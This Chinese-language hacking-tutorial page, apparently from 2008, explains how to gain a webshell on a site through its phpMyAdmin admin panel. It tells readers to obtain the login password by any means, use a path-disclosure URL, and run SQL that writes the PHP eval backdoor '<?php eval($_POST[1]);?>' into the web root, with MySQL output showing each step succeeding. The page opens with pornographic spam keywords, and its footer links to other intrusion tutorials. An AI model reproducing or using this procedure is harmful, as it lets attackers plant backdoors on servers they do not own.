欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

教你phpMyAdmin 后臺(tái)拿webshell

互聯(lián)網(wǎng)   發(fā)布時(shí)間：2008-10-08 18:23:30   作者：佚名   我要評(píng)論
1.如何拿到登陸密碼，自己想辦法。 2.訪問(wèn) : http://url/phpmyadmin/libraries/select_lang.lib.php 得到物理路徑. 3.選擇一個(gè)Database.運(yùn)行以下語(yǔ)句. ----start code--- Create TABLE a (cmd text NOT NULL); Insert INTO a (cmd) VALUES('<?php e

1.如何拿到登陸密碼，自己想辦法。
2.訪問(wèn) : http://url/phpmyadmin/libraries/select_lang.lib.php 得到物理路徑.
3.選擇一個(gè)Database.運(yùn)行以下語(yǔ)句.
----start code---
Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES('<?php eval($_POST[1]);?>');
select cmd from a into outfile 'F:/Program Files/Apache Group/Apache2/htdocs/phpMyAdmin/d.php/d.php';
Drop TABLE IF EXISTS a;
----end code---
4.如果沒(méi)什么意外.對(duì)應(yīng)網(wǎng)站得到webshell

您運(yùn)行的 SQL 語(yǔ)句已經(jīng)成功運(yùn)行了。
SQL 查詢:
CREATE TABLE a(
cmd text NOT NULL
);# MySQL 返回的查詢結(jié)果為空(即零行)。
INSERT INTO a( cmd )
VALUES (
'<?php eval($_POST[1]);?>'
);# 影響列數(shù)： 1
SELECT cmd
FROM a
INTO OUTFILE 'F:/Program Files/Apache Group/Apache2/htdocs/phpMyAdmin/d.php';# 影響列數(shù)： 1
DROP TABLE IF EXISTS a;# MySQL 返回的查詢結(jié)果為空(即零行)。


相關(guān)文章

  • 最經(jīng)典的黑客入門教程(安全必備技能)

    無(wú)論那類黑客，他們最初的學(xué)習(xí)內(nèi)容都將是本部分所涉及的內(nèi)容，而且掌握的基本技能也都是一樣的。即便日后他們各自走上了不同的道路，但是所做的事情也差不多，只不過(guò)出發(fā)點(diǎn)
    2013-04-16

  • 局域網(wǎng)入侵完全版

    首先申明： 　　1.入侵的范圍只包括局域網(wǎng)，如果在學(xué)校上，可以入侵整個(gè)校園網(wǎng)； 　　2.能入侵的只是存在弱口令(用戶名為administrator等,密碼為空)，并且開(kāi)了139端口
    2009-06-09

  • 網(wǎng)頁(yè)掛馬詳細(xì)步驟教程

    其實(shí)很簡(jiǎn)單的的，說(shuō)到原理，就一個(gè)：就是在人家網(wǎng)站的主頁(yè)那里插入一個(gè)自己的網(wǎng)馬的頁(yè)面，等有漏洞的人查看了人家網(wǎng)站的主頁(yè)，那么他就成了你的肉雞了。 下面我介紹5種方
    2009-04-30

  • 詳述入侵滲透技術(shù)

    入侵滲透涉及許多知識(shí)和技術(shù)，并不是一些人用一兩招就可以搞定的。 一，踩點(diǎn) 踩點(diǎn)可以了解目標(biāo)主機(jī)和網(wǎng)絡(luò)的一些基本的安全信息，主要有； 1，管理員
    2008-10-08

  • 整人用的一個(gè)電腦重啟病毒

    這篇文章主要介紹了整人用的一個(gè)電腦重啟病毒,本文用bat文件偽造如QQ圖標(biāo)等常用軟件,導(dǎo)致點(diǎn)擊就會(huì)重啟的惡作劇腳本,需要的朋友可以參考下
    2014-10-10

  • 如何判斷電腦是否淪為“肉雞”？

    今天有網(wǎng)友問(wèn)小編怎樣判斷電腦是否淪為“肉雞”，小編就來(lái)給大家盤點(diǎn)幾條電腦淪為肉雞的表現(xiàn)
    2014-08-14

  • Google 黑客搜索技巧

    站內(nèi)搜索地址為： httpwww.google.comcustomdomains=（這里寫我們要搜索的站點(diǎn)，比如feelids.com） 進(jìn)去可以選擇www和feelids.com， 當(dāng)然再選我們要的站內(nèi)搜索
    2008-10-08

  • 偽黑客的成功的秘密：tomcat入侵和Jboss入侵的方法介紹(圖)

    黑客必須要有專業(yè)的知識(shí)，豐富的經(jīng)驗(yàn)。而偽黑客不需要，只需要幾個(gè)工具，掃描默認(rèn)口令、弱口令、漏洞，就能利用。
    2012-05-18

  • 如何正確的進(jìn)行網(wǎng)站入侵滲透測(cè)試

    入侵滲透涉及許多知識(shí)和技術(shù)，并不是一些人用一兩招就可以搞定的，下面小編就為大家具體的講解如何正確的進(jìn)行網(wǎng)站入侵滲透測(cè)試，希望可以幫助到大家
    2016-10-28

最新評(píng)論